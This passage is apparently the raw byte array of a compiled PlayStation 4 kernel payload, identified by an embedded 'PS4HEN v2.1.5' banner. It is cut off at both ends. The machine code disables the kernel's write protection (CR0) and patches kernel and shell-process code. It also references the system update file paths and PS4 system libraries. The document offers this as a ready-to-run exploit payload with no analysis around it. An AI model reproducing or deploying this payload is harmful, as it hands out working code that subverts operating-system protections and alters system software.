,0,0,0,76,137,84,36,24,199,132,36,52,1,0,0,55,19,32,0,232,227,252,255,255,72,139,53,75,29,0,0,49,210,72,137,239,255,21,192,29,0,0,49,246,186,16,0,0,0,76,137,255,255,21,152,29,0,0,76,139,84,36,24,77,137,249,65,184,128,0,0,0,72,141,13,195,23,0,0,186,32,0,0,0,76,137,214,76,137,215,255,21,186,28,0,0,72,139,53,3,29,0,0,72,137,239,65,137,198,255,21,111,29,0,0,69,133,246,117,55,72,139,124,36,8,76,137,238,255,21,108,28,0,0,133,192,116,6,65,139,125,0,235,20,72,139,124,36,16,72,137,222,255,21,84,28,0,0,133,192,116,28,139,59,131,255,255,116,6,255,21,59,28,0,0,72,139,61,220,28,0,0,255,21,78,29,0,0,235,16,72,139,61,205,28,0,0,69,49,228,255,21,60,29,0,0,72,129,196,184,1,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,49,192,72,133,255,116,21,72,139,5,169,28,0,0,72,139,0,72,133,192,116,6,72,57,120,32,117,242,195,243,15,30,250,65,84,85,83,255,21,4,29,0,0,65,137,196,72,139,5,114,28,0,0,72,139,40,72,133,237,116,127,139,69,8,131,248,255,116,55,72,139,21,83,28,0,0,72,139,26,72,133,219,116,40,59,3,118,9,72,139,155,144,0,0,0,235,238,115,9,72,139,155,136,0,0,0,235,227,117,225,131,123,4,0,116,8,102,129,123,8,55,19,116,6,72,139,109,16,235,182,102,131,123,10,32,117,243,72,139,61,7,28,0,0,72,141,115,12,186,32,0,0,0,255,21,88,28,0,0,72,139,5,233,27,0,0,15,183,83,8,15,183,115,10,139,77,0,72,139,56,255,21,93,27,0,0,235,192,91,68,137,224,93,65,92,195,65,84,85,72,131,236,24,72,137,124,36,8,101,72,139,44,37,0,0,0,0,72,139,53,167,27,0,0,49,210,72,137,239,255,21,28,28,0,0,76,139,76,36,8,65,184,128,0,0,0,72,141,13,66,22,0,0,186,144,0,0,0,65,188,37,10,15,128,73,141,121,16,72,137,254,255,21,26,27,0,0,133,192,117,3,65,137,196,72,139,53,100,27,0,0,72,137,239,255,21,211,27,0,0,72,131,196,24,68,137,224,93,65,92,195,243,15,30,250,65,85,65,84,85,72,137,253,83,81,72,139,127,8,49,219,232,176,254,255,255,72,133,192,116,4,72,139,88,16,72,137,239,255,21,157,26,0,0,133,192,65,137,196,117,6,131,125,4,0,116,78,72,133,219,116,73,102,131,123,80,2,117,66,76,141,171,96,2,0,0,76,137,239,232,58,255,255,255,133,192,117,47,186,160,0,0,0,76,137,238,72,137,223,69,49,228,255,21,85,27,0,0,72,141,187,160,0,0,0,186,96,3,0,0,49,246,255,21,57,27,0,0,199,69,4,0,0,0,0,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,85,83,72,137,251,81,72,139,127,8,49,237,232,35,254,255,255,72,133,192,116,4,72,139,104,16,72,137,223,255,21,16,26,0,0,133,192,117,6,131,123,4,0,116,28,72,133,237,116,23,129,125,0,0,2,0,0,117,14,72,141,125,36,232,180,254,255,255,137,67,4,49,192,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,21,131,255,255,255,72,141,136,64,254,255,255,129,234,213,93,100,0,41,202,137,144,17,92,100,0,72,141,21,214,254,255,255,129,234,163,107,100,0,41,202,137,144,223,105,100,0,72,141,21,73,249,255,255,129,234,154,244,97,0,41,202,137,144,214,242,97,0,72,141,21,146,253,255,255,129,234,178,175,97,0,41,202,137,144,238,173,97,0,72,141,21,17,250,255,255,68,141,130,18,150,149,255,129,234,31,108,106,0,65,41,200,41,202,68,137,128,42,104,106,0,137,144,91,106,106,0,87,157,15,34,198,195,72,133,255,116,49,131,63,2,117,44,72,131,236,24,72,141,116,36,8,255,21,129,25,0,0,133,192,116,4,49,192,235,16,72,139,68,36,8,72,131,120,8,1,15,148,192,15,182,192,72,131,196,24,195,49,192,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,137,253,72,141,124,36,24,255,21,57,25,0,0,131,125,0,1,15,133,178,0,0,0,139,69,0,186,2,0,0,0,72,139,29,144,25,0,0,65,188,12,0,0,0,72,139,53,139,25,0,0,137,68,36,8,139,69,8,68,15,183,123,12,137,68,36,12,15,183,67,14,65,1,199,77,99,239,76,137,239,255,21,184,25,0,0,72,133,192,73,137,198,15,132,131,0,0,0,72,139,117,56,76,137,234,72,137,199,255,21,116,25,0,0,72,139,125,56,76,137,234,72,137,222,255,21,100,25,0,0,199,69,0,2,0,0,0,72,137,239,68,137,125,8,255,21,168,24,0,0,72,139,125,56,76,137,246,65,137,196,76,137,234,255,21,61,25,0,0,139,68,36,8,76,137,247,72,139,53,7,25,0,0,137,69,0,139,68,36,12,137,69,8,255,21,63,25,0,0,235,28,72,137,239,232,227,254,255,255,133,192,15,133,62,255,255,255,72,137,239,255,21,92,24,0,0,65,137,196,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,61,65,84,83,72,131,236,24,76,141,37,176,21,0,0,72,137,124,36,8,76,137,230,255,21,226,24,0,0,72,139,124,36,8,72,133,192,72,137,195,116,13,76,137,231,255,21,164,24,0,0,72,141,60,3,72,131,196,24,91,65,92,255,37,35,24,0,0,243,15,30,250,85,72,137,229,65,85,72,131,236,24,72,139,69,0,73,137,253,72,139,120,248,72,133,255,116,25,72,137,85,224,72,137,117,232,232,70,254,255,255,72,139,117,232,133,192,72,139,85,224,117,16,72,131,196,24,76,137,239,65,93,93,255,37,212,23,0,0,199,66,4,0,0,0,0,72,131,196,24,65,93,49,192,93,195,243,15,30,250,65,85,65,84,85,73,137,205,72,129,236,160,0,0,0,131,63,1,72,137,253,117,12,72,133,246,116,68,77,133,237,117,51,235,61,72,137,52,36,137,84,36,12,232,229,253,255,255,72,139,52,36,133,192,117,223,139,84,36,12,72,129,196,160,0,0,0,76,137,233,72,137,239,93,65,92,65,93,255,37,99,23,0,0,72,137,239,232,185,253,255,255,133,192,117,11,65,188,22,0,0,0,233,29,1,0,0,72,141,116,36,16,72,137,239,255,21,54,23,0,0,133,192,65,137,196,15,133,4,1,0,0,139,69,0,131,248,1,117,15,72,139,69,56,72,133,192,15,132,209,0,0,0,235,102,131,248,2,15,133,206,0,0,0,72,139,69,56,15,183,112,12,15,183,80,24,72,141,78,224,72,193,226,5,72,41,209,72,131,249,63,15,134,181,0,0,0,128,225,15,15,133,172,0,0,0,15,183,72,14,72,141,180,14,0,255,255,255,72,1,198,72,141,68,16,32,72,129,62,136,0,0,0,117,22,72,131,198,8,72,141,124,36,24,186,136,0,0,0,255,21,72,23,0,0,235,84,139,64,16,102,61,24,254,116,39,119,118,137,194,131,226,239,102,129,250,0,254,116,6,102,131,248,2,117,100,72,141,124,36,24,186,136,0,0,0,72,141,53,176,20,0,0,235,17,72,141,124,36,24,186,136,0,0,0,72,141,53,253,19,0,0,255,21,255,22,0,0,72,139,68,36,16,72,139,0,72,137,68,36,24,72,141,116,36,24,186,136,0,0,0,76,137,239,255,21,223,22,0,0,235,30,65,188,3,0,0,0,235,22,65,188,221,255,255,255,235,14,65,188,219,255,255,255,235,6,65,188,45,0,0,0,72,129,196,160,0,0,0,68,137,224,93,65,92,65,93,195,72,133,255,72,139,21,101,22,0,0,72,137,248,116,23,72,139,18,72,133,210,116,12,72,59,66,32,117,242,72,139,66,16,235,3,49,192,195,195,243,15,30,250,85,72,137,229,65,87,65,86,65,85,65,84,83,72,131,236,40,72,139,69,0,73,137,253,76,139,70,8,76,139,126,80,73,137,244,76,139,118,88,72,139,120,248,139,70,72,139,94,68,72,133,255,137,69,204,116,73,131,63,1,117,43,76,137,199,69,49,192,232,140,255,255,255,76,137,255,73,137,197,232,129,255,255,255,77,133,246,73,137,193,116,64,76,137,247,232,113,255,255,255,73,137,192,235,51,72,137,85,184,76,137,69,192,232,220,251,255,255,76,139,69,192,133,192,72,139,85,184,117,188,72,131,196,40,76,137,230,91,76,137,239,65,92,65,93,65,94,65,95,93,255,37,96,21,0,0,77,133,237,76,137,69,192,116,96,77,133,201,116,91,137,222,72,139,13,209,21,0,0,76,1,206,77,133,246,15,149,194,77,57,247,15,149,192,132,194,116,55,133,219,116,51,65,190,0,64,0,0,76,137,239,65,41,222,76,137,242,255,209,76,139,69,192,77,133,192,116,33,139,69,204,75,141,60,46,76,137,198,141,148,3,0,192,255,255,255,21,137,21,0,0,235,8,139,85,204,76,137,239,255,209,65,199,68,36,4,0,0,0,0,72,131,196,40,91,49,192,65,92,65,93,65,94,65,95,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,13,238,252,255,255,72,141,144,64,254,255,255,129,233,67,146,99,0,41,209,137,136,127,144,99,0,72,141,13,36,251,255,255,68,141,129,37,102,156,255,129,233,190,166,99,0,41,209,65,41,208,137,136,250,164,99,0,72,141,13,91,252,255,255,129,233,242,99,99,0,68,137,128,23,152,99,0,41,209,137,136,46,98,99,0,72,141,13,90,254,255,255,129,233,45,112,99,0,41,209,137,136,105,110,99,0,72,141,13,222,251,255,255,129,233,241,144,99,0,41,209,137,136,45,143,99,0,87,157,15,34,198,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,81,72,139,86,8,73,137,253,184,1,0,0,0,72,133,210,116,106,72,139,5,90,20,0,0,72,137,245,72,131,62,0,72,139,24,117,19,49,192,72,139,27,255,192,72,133,219,117,246,72,152,72,137,2,235,66,68,139,58,69,49,228,69,57,231,126,55,77,107,244,36,72,139,125,0,72,141,179,84,4,0,0,186,32,0,0,0,73,255,196,76,1,247,255,21,72,20,0,0,139,147,176,0,0,0,72,139,27,72,139,69,0,72,133,219,66,137,84,48,32,117,196,49,192,72,99,208,73,137,149,152,3,0,0,90,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,139,5,214,19,0,0,72,139,0,57,184,176,0,0,0,116,8,72,139,0,72,133,192,117,240,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,76,137,197,101,76,139,4,37,0,0,0,0,72,133,255,184,1,0,0,0,15,132,188,0,0,0,72,133,210,72,137,211,117,24,49,192,72,133,237,15,132,169,0,0,0,72,199,69,0,0,0,0,0,233,156,0,0,0,73,137,207,72,141,76,36,16,69,137,205,76,137,68,36,8,72,137,12,36,73,137,252,73,137,246,72,137,207,49,246,186,16,0,0,0,255,21,124,19,0,0,76,137,124,36,16,76,141,124,36,32,72,137,92,36,24,49,246,186,48,0,0,0,76,137,255,255,21,93,19,0,0,72,139,12,36,49,192,76,139,68,36,8,69,133,237,15,149,192,199,68,36,40,1,0,0,0,76,137,254,72,137,76,36,32,76,137,231,76,137,116,36,48,72,137,92,36,56,199,68,36,64,1,0,0,0,137,68,36,68,76,137,68,36,72,255,21,248,17,0,0,72,133,237,116,9,72,43,92,36,56,72,137,93,0,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,83,72,137,251,139,62,232,219,254,255,255,72,137,199,184,1,0,0,0,72,133,255,116,27,76,139,86,8,69,49,192,72,139,78,16,72,139,86,24,68,139,78,32,76,137,214,232,210,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,137,251,80,72,107,219,48,72,137,245,186,48,0,0,0,49,246,72,3,29,42,18,0,0,72,137,223,255,21,145,18,0,0,199,3,8,0,0,0,72,137,107,8,199,67,44,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,243,72,131,236,16,65,131,204,255,72,199,68,36,8,0,0,0,0,255,21,98,17,0,0,72,133,192,15,132,215,0,0,0,76,99,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,57,17,0,0,233,186,0,0,0,255,21,38,17,0,0,72,131,59,0,117,9,76,137,99,8,233,144,0,0,0,49,246,72,141,84,36,8,72,137,239,69,49,228,255,21,244,16,0,0,133,192,116,115,72,137,239,65,131,204,255,255,21,235,16,0,0,72,137,239,255,21,242,16,0,0,235,118,72,139,116,36,8,73,107,252,58,73,255,196,72,3,59,72,139,70,32,72,129,198,141,0,0,0,139,86,207,72,137,71,32,72,139,70,155,72,137,71,40,72,139,70,195,72,137,71,48,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,71,56,255,21,176,17,0,0,72,139,68,36,8,72,139,64,8,72,133,192,72,137,68,36,8,116,6,76,57,99,8,119,159,72,137,239,69,49,228,255,21,115,16,0,0,72,137,239,255,21,122,16,0,0,72,131,196,16,68,137,224,91,93,65,92,195,243,15,30,250,83,72,137,251,139,62,232,78,253,255,255,72,137,199,184,1,0,0,0,72,133,255,116,16,72,131,126,8,4,117,9,72,139,118,16,232,198,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,80,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,156,93,250,72,141,53,101,252,255,255,191,107,0,0,0,232,84,254,255,255,72,141,53,10,254,255,255,191,108,0,0,0,232,67,254,255,255,72,141,53,134,255,255,255,191,109,0,0,0,232,50,254,255,255,85,157,15,34,195,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,72,141,144,240,234,164,1,72,137,21,161,16,0,0,72,141,144,112,39,212,0,72,137,21,139,16,0,0,72,141,144,224,208,33,2,72,137,21,117,16,0,0,72,141,144,16,165,99,2,72,137,21,95,16,0,0,72,141,144,144,132,101,2,72,137,21,73,16,0,0,72,141,144,184,137,100,2,72,137,21,51,16,0,0,72,141,144,200,137,100,2,72,137,21,29,16,0,0,72,141,144,64,190,100,2,72,137,21,7,16,0,0,72,141,144,72,198,100,2,72,137,21,241,15,0,0,72,141,144,0,173,99,2,72,137,21,219,15,0,0,72,141,144,48,145,15,1,72,137,21,197,15,0,0,72,141,144,192,201,71,0,72,137,21,111,16,0,0,72,141,144,128,185,66,0,72,137,21,89,16,0,0,72,141,144,64,187,66,0,72,137,21,67,16,0,0,72,141,144,112,209,41,0,72,137,21,45,16,0,0,72,141,144,48,211,41,0,72,137,21,23,16,0,0,72,141,144,192,130,36,0,72,137,21,1,16,0,0,72,141,144,224,219,43,0,72,137,21,235,15,0,0,72,141,144,160,220,43,0,72,137,21,213,15,0,0,72,141,144,0,27,32,0,72,137,21,191,15,0,0,72,141,144,96,21,12,0,72,137,21,169,15,0,0,72,141,144,192,23,63,0,72,137,21,147,15,0,0,72,141,144,176,82,32,0,72,137,21,125,15,0,0,72,141,144,96,85,40,0,72,137,21,103,15,0,0,72,141,144,128,36,3,0,72,137,21,249,14,0,0,72,141,144,32,117,98,0,72,137,21,227,14,0,0,72,141,144,176,167,99,0,72,137,21,205,14,0,0,72,141,144,240,175,99,0,72,137,21,183,14,0,0,72,141,144,224,61,99,0,72,137,21,161,14,0,0,72,141,144,16,168,99,0,72,137,21,139,14,0,0,72,141,144,16,245,97,0,72,137,21,77,14,0,0,72,141,144,112,159,97,0,72,137,21,39,14,0,0,72,141,144,48,156,97,0,72,137,21,33,14,0,0,72,141,144,48,242,97,0,72,137,21,27,14,0,0,72,141,144,0,152,97,0,72,137,21,245,13,0,0,72,141,144,112,58,97,0,72,137,21,15,14,0,0,72,141,144,96,162,43,0,72,137,21,33,14,0,0,72,141,144,224,127,54,0,72,137,21,3,14,0,0,72,141,144,16,130,54,0,72,137,21,237,13,0,0,72,141,144,112,176,33,0,72,137,21,239,13,0,0,72,141,144,96,148,71,0,72,137,21,113,13,0,0,72,141,144,224,25,25,0,72,137,21,139,13,0,0,72,141,144,16,24,25,0,72,137,21,117,13,0,0,72,141,144,112,27,25,0,72,137,21,95,13,0,0,72,141,144,192,27,25,0,72,5,176,33,25,0,72,137,21,67,13,0,0,72,137,5,52,13,0,0,195,243,15,30,250,80,49,192,232,94,253,255,255,232,221,248,255,255,232,95,243,255,255,232,79,8,0,0,232,245,252,255,255,90,233,96,2,0,0,72,139,53,254,13,0,0,255,37,64,14,0,0,72,139,5,225,13,0,0,65,84,85,83,72,137,251,76,139,32,72,139,45,72,14,0,0,72,137,223,255,21,239,13,0,0,73,141,188,36,84,4,0,0,72,137,222,72,137,194,255,213,133,192,116,9,77,139,36,36,77,133,228,117,211,91,76,137,224,93,65,92,195,65,87,65,86,65,85,65,84,85,83,72,131,236,88,73,137,206,101,72,139,12,37,0,0,0,0,131,200,255,72,133,255,72,137,76,36,8,15,132,133,0,0,0,72,137,211,76,141,124,36,16,77,137,196,72,137,253,73,137,245,186,16,0,0,0,49,246,76,137,255,255,21,134,13,0,0,76,137,116,36,16,76,141,116,36,32,72,137,92,36,24,186,48,0,0,0,49,246,76,137,247,255,21,103,13,0,0,72,139,76,36,8,72,184,1,0,0,0,1,0,0,0,72,137,92,36,56,76,137,124,36,32,76,137,246,199,68,36,40,1,0,0,0,72,137,239,76,137,108,36,48,72,137,68,36,64,72,137,76,36,72,255,21,11,12,0,0,72,43,92,36,56,73,137,28,36,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,245,72,199,68,36,24,0,0,0,0,73,137,214,255,21,248,11,0,0,65,131,204,255,72,133,192,15,132,12,1,0,0,68,139,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,203,11,0,0,233,239,0,0,0,255,21,184,11,0,0,49,246,72,141,84,36,24,72,137,239,255,21,152,11,0,0,133,192,117,44,72,139,53,133,12,0,0,65,107,252,58,186,2,0,0,0,255,21,198,12,0,0,77,99,252,72,133,192,72,137,195,116,11,72,137,193,69,49,192,233,136,0,0,0,72,137,239,65,131,204,255,255,21,99,11,0,0,72,137,239,255,21,106,11,0,0,233,142,0,0,0,72,139,116,36,24,68,137,68,36,12,72,137,12,36,72,137,207,72,139,70,32,72,129,198,141,0,0,0,72,137,65,32,72,139,70,155,72,137,65,40,72,139,70,195,72,137,65,48,139,86,207,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,65,56,255,21,35,12,0,0,72,139,68,36,24,72,139,12,36,68,139,68,36,12,72,139,64,8,72,131,193,58,72,133,192,72,137,68,36,24,116,8,65,255,192,69,57,196,127,142,72,137,239,69,49,228,255,21,215,10,0,0,72,137,239,255,21,222,10,0,0,73,137,93,0,77,137,62,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,72,141,53,108,10,0,0,72,141,124,36,48,185,8,0,0,0,243,165,72,141,61,193,9,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,19,49,192,255,192,198,68,36,23,144,232,93,253,255,255,72,133,192,117,8,131,200,255,233,6,2,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,64,254,255,255,133,192,15,133,233,1,0,0,72,139,116,36,40,76,141,116,36,48,72,139,84,36,32,49,192,72,57,198,116,197,72,137,209,72,255,192,72,131,194,58,102,131,121,56,5,117,234,72,139,89,32,69,49,255,76,141,45,75,9,0,0,72,133,219,116,161,67,139,52,190,76,141,100,36,24,77,137,224,76,137,233,186,5,0,0,0,72,137,239,72,1,222,232,32,253,255,255,133,192,15,133,136,1,0,0,73,255,199,73,131,255,8,117,208,72,141,76,36,19,72,141,179,225,194,49,0,77,137,224,186,5,0,0,0,72,137,239,232,243,252,255,255,133,192,15,133,91,1,0,0,72,141,179,47,59,61,0,77,137,224,72,141,13,76,9,0,0,186,8,0,0,0,72,137,239,232,205,252,255,255,133,192,15,133,53,1,0,0,76,141,53,203,8,0,0,72,141,179,96,87,19,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,164,252,255,255,133,192,15,133,12,1,0,0,72,141,179,39,12,60,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,130,252,255,255,133,192,15,133,234,0,0,0,72,141,179,112,62,60,0,77,137,224,72,141,13,120,8,0,0,186,4,0,0,0,72,137,239,232,92,252,255,255,133,192,15,133,196,0,0,0,72,141,179,217,184,251,0,77,137,224,72,141,13,190,8,0,0,186,5,0,0,0,72,137,239,232,54,252,255,255,133,192,15,133,158,0,0,0,72,141,179,81,163,159,0,77,137,224,72,141,13,158,8,0,0,186,1,0,0,0,72,137,239,232,16,252,255,255,133,192,117,124,72,141,179,29,247,96,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,242,251,255,255,133,192,117,94,72,141,179,217,199,115,0,77,137,224,76,137,233,186,5,0,0,0,72,137,239,232,212,251,255,255,133,192,117,64,72,141,179,246,172,56,0,77,137,224,72,141,13,211,7,0,0,186,5,0,0,0,72,137,239,232,178,251,255,255,133,192,117,30,72,141,179,65,7,212,0,77,137,224,72,141,13,173,7,0,0,186,3,0,0,0,72,137,239,232,144,251,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,42,251,255,255,139,68,36,12,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,56,72,141,61,107,7,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,18,184,1,0,0,102,199,68,36,22,0,195,232,229,250,255,255,72,133,192,117,8,131,200,255,233,108,1,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,200,251,255,255,69,49,246,76,141,61,36,7,0,0,133,192,15,133,69,1,0,0,76,139,108,36,40,72,139,92,36,32,77,57,245,118,47,77,107,230,58,186,10,0,0,0,76,137,254,73,1,220,76,137,231,255,21,234,8,0,0,133,192,117,29,102,65,131,124,36,56,4,118,20,73,139,116,36,32,72,133,246,117,15,184,1,0,0,0,233,253,0,0,0,73,255,198,235,179,76,141,100,36,24,72,129,198,96,81,24,0,77,137,224,72,141,13,163,6,0,0,186,4,0,0,0,72,137,239,232,135,250,255,255,133,192,15,133,205,0,0,0,73,137,222,69,49,255,72,141,13,162,6,0,0,72,137,206,186,12,0,0,0,76,137,247,255,21,123,8,0,0,72,141,13,138,6,0,0,133,192,117,27,102,65,131,126,56,4,118,19,73,131,126,32,0,116,142,69,49,246,76,141,61,122,6,0,0,235,40,73,255,199,73,131,198,58,77,57,253,117,189,233,113,255,255,255,102,131,123,56,4,119,39,73,255,198,72,131,195,58,77,57,245,15,132,237,254,255,255,186,18,0,0,0,76,137,254,72,137,223,255,21,28,8,0,0,133,192,117,219,235,210,72,139,91,32,72,133,219,15,132,201,254,255,255,76,141,108,36,18,72,141,179,80,206,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,208,249,255,255,133,192,117,26,72,141,179,176,209,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,178,249,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,76,249,255,255,139,68,36,12,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,85,83,72,131,236,56,72,141,61,199,5,0,0,72,199,68,36,24,0,0,0,0,232,35,249,255,255,72,133,192,117,10,184,1,0,0,0,233,171,0,0,0,72,141,84,36,32,72,141,116,36,24,72,137,199,72,137,197,232,4,250,255,255,69,49,228,76,141,45,96,5,0,0,133,192,117,211,76,57,100,36,32,72,139,92,36,24,118,199,73,107,196,58,186,10,0,0,0,76,137,238,72,1,195,72,137,223,255,21,45,7,0,0,133,192,117,18,102,131,123,56,5,117,11,72,139,91,32,72,133,219,117,7,235,153,73,255,196,235,193,76,141,68,36,40,72,141,179,181,160,14,0,72,141,13,67,5,0,0,186,1,0,0,0,72,137,239,76,137,68,36,8,232,211,248,255,255,133,192,117,32,76,139,68,36,8,72,141,179,208,160,14,0,72,141,13,28,5,0,0,186,2,0,0,0,72,137,239,232,175,248,255,255,72,139,124,36,24,72,133,255,116,13,137,68,36,8,232,73,248,255,255,139,68,36,8,72,131,196,56,91,93,65,92,65,93,195,243,15,30,250,185,130,0,0,192,137,254,15,50,15,32,193,72,137,207,72,129,231,255,255,254,255,15,34,199,156,95,250,72,193,226,32,72,9,194,131,254,1,72,141,130,16,162,33,2,25,210,131,226,237,131,194,55,136,80,54,137,242,247,218,24,210,131,226,3,133,246,136,80,89,15,149,194,136,80,90,136,80,120,87,157,15,34,193,195,243,15,30,250,191,1,0,0,0,235,156,243,15,30,250,49,255,235,148,243,15,30,250,80,232,173,252,255,255,90,49,192,233,131,254,255,255,243,15,30,250,49,192,235,230,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,70,65,75,69,70,65,75,69,70,65,75,69,70,65,75,69,150,194,38,141,105,38,28,139,30,59,107,255,47,224,78,18,245,115,184,126,92,152,124,135,103,241,218,174,160,249,75,171,119,216,206,100,106,193,79,166,155,185,170,204,118,9,164,63,185,250,245,98,132,10,184,73,2,223,158,196,26,55,211,86,13,164,110,21,7,21,160,141,151,157,146,32,67,82,195,178,253,247,211,243,105,162,40,79,98,111,128,64,95,59,128,30,94,56,13,139,86,168,86,88,216,217,111,234,18,42,64,22,193,237,61,39,22,160,99,151,97,57,85,204,138,5,250,8,40,253,85,86,49,148,101,5,231,211,87,108,13,28,103,11,77,53,103,56,188,144,62,59,170,108,188,242,235,158,69,210,9,47,202,58,156,2,54,173,46,193,177,178,109,124,31,107,161,143,98,32,140,214,108,54,214,90,84,158,48,169,168,37,61,148,18,62,13,22,27,240,134,66,114,224,214,156,57,104,219,17,128,150,24,43,113,65,72,120,232,23,139,125,0,31,22,104,210,117,151,181,224,242,109,12,117,172,22,217,213,177,181,139,232,208,191,167,31,97,91,8,248,104,231,240,209,188,57,96,191,85,156,124,32,48,232,80,40,68,2,206,81,42,37,84,219,253,134,69,151,154,30,23,240,227,165,146,15,18,42,92,76,166,165,207,127,232,91,243,101,26,200,207,155,185,42,201,144,93,212,8,207,246,3,90,90,252,158,182,219,17,237,226,61,98,193,252,136,93,151,172,49,45,195,21,173,112,5,190,160,90,230,52,156,68,120,43,229,254,56,86,212,104,131,19,164,230,250,210,156,171,172,137,95,16,143,117,111,4,188,174,185,188,183,29,66,250,78,148,31,180,10,39,156,107,171,199,210,235,39,66,82,41,65,200,37,64,84,224,72,109,35,128,119,132,77,111,155,36,81,254,42,107,40,128,161,158,189,109,24,202,141,125,158,121,90,224,184,235,209,61,243,217,2,144,42,167,181,126,154,162,215,47,33,168,80,125,140,161,145,47,191,151,190,146,194,193,13,140,12,31,222,49,53,21,57,144,204,151,71,46,127,9,233,195,156,206,145,178,200,88,118,232,112,29,114,95,74,230,170,54,34,148,198,82,144,179,159,155,240,239,87,142,83,195,227,48,201,215,176,58,12,121,27,151,168,212,129,34,210,176,130,98,125,0,88,71,158,199,45,232,180,101,190,5,120,106,137,49,201,90,68,222,80,193,199,253,157,62,33,66,23,64,121,249,201,65,193,252,215,15,52,118,163,226,192,27,90,32,15,175,47,82,205,131,52,114,175,179,18,51,33,44,32,176,198,160,45,177,89,227,167,176,78,28,76,91,95,16,154,80,24,204,134,121,37,255,16,2,143,144,3,169,55,186,242,28,19,204,9,69,21,184,85,116,10,40,36,4,209,25,171,179,202,68,182,248,61,177,42,114,136,53,228,134,107,85,71,8,37,22,171,105,29,191,246,254,47,100,97,116,97,47,115,101,108,102,47,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,49,0,0,0,0,0,0,0,0,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,48,0,48,0,0,0,0,0,0,0,64,0,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,49,0,0,0,0,128,3,0,32,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,64,0,64,0,0,0,0,0,0,0,64,2,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,104,101,108,108,67,111,114,101,0,49,192,144,144,144,0,235,0,72,49,192,195,0,144,144,144,144,144,0,83,99,101,83,104,101,108,108,85,73,0,101,120,101,99,117,116,97,98,108,101,0,97,112,112,46,101,120,101,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,83,99,101,82,101,109,111,116,101,80,108,97,121,0,1,0,235,30,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,150,0,0,0,144,144,144,0,102,114,101,101,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,100,195,22,0,228,27,134,0,226,7,139,0,4,14,161,0,146,195,22,0,236,143,36,0,18,28,134,0,50,14,161,0,32,32,0,0,37,115,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,46,110,101,116,46,116,101,109,112,0,87,101,108,99,111,109,101,32,116,111,32,80,83,52,72,69,78,32,118,50,46,49,46,53,0,108,105,98,107,101,114,110,101,108,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,119,101,98,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,95,95,101,114,114,111,114,0,115,99,101,75,101,114,110,1